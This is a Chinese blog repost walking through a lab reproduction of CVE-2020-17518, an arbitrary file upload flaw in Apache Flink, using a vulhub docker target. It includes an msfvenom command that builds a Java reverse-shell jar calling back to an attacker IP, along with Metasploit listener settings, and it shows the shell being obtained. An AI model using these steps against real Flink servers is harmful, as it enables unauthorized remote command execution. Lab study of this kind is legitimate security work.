CVE-2020-17518 flink任意文件上传漏洞复现

Posted 亚瑞塔斯·D·紫耀

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-17518 flink任意文件上传漏洞复现相关的知识,希望对你有一定的参考价值。

  1. 漏洞描述

Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。

编号:CVE-2020-17518

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。

  1. 影响范围

Apache Flink 1.5.1 ~ 1.11.2

  1. 漏洞复现

本次使用的环境以及对应的ip:

vulhub_kali_linux : 192.168.157.139

kali_linux : 192.168.157.138

本机 : 192.168.3.111

3.1漏洞挖掘

启动vulhub_kali_linux

进入vulhub靶场已经给CVE-2020-17518搭建好的环境

cd vulhub/flink/CVE-2020-17518

使用docker启动flink环境

这一步需要root权限,如果没有可以使用命令登录

sudo su root
docker-compose up -d

环境启动后,本机访问

http://192.168.157.139:8081

上传任意文件,进行bp抓包

发送请求,发现报错,报错信息 提示只能上传.jar后缀名

在filename字段值修改为jar后缀名 ,发送请求,回显的状态码200以及参数说明上传成功

回显的信息发现上传文件的位置:

/tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload

在vulhub_kali_linux环境输入命令,进入flink容器中,遍历文件上传位置

docker ps
docker exec -it 3d0fafb6bb6e /bin/bash
ls /tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload

发现文件上传成功

3.2漏洞利用

启动kali_linux

打开flink页面

使用kali的msfvenom工具,生成文件的目录自定义

lhost为kali_linux的IP地址   lport为kali_linux的端口  >后面为文件路径以及文件名

msfvenom -p java/shell_reverse_tcp lhost=192.168.157.138 lport=1314 -f jar >/home/xiaoya/桌面/2.jar

在桌面上生成2.jar

启动msf监听

msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.138
# 设置监听端口
set lport 1314
# 执行
run

上传文件

获取反弹的shell

点击Submit后,稍微等一下,msf就可以监听到靶机反弹的shell

现在获取了靶机的权限,可以执行进一步的操作(就相当于自己电脑使用了)

  1. 漏洞检测

可以通过分析apache日志来检测攻击

  1. 漏洞修复

官方已发布安全版本,请及时下载升级至安全版本。

以上是关于CVE-2020-17518 flink任意文件上传漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞

[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)

CVE-2020-17518漏洞复现

华云安技术支持 | CNNVD 关于Apache Flink安全漏洞的通报

Flink入门及实战(上+下)

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现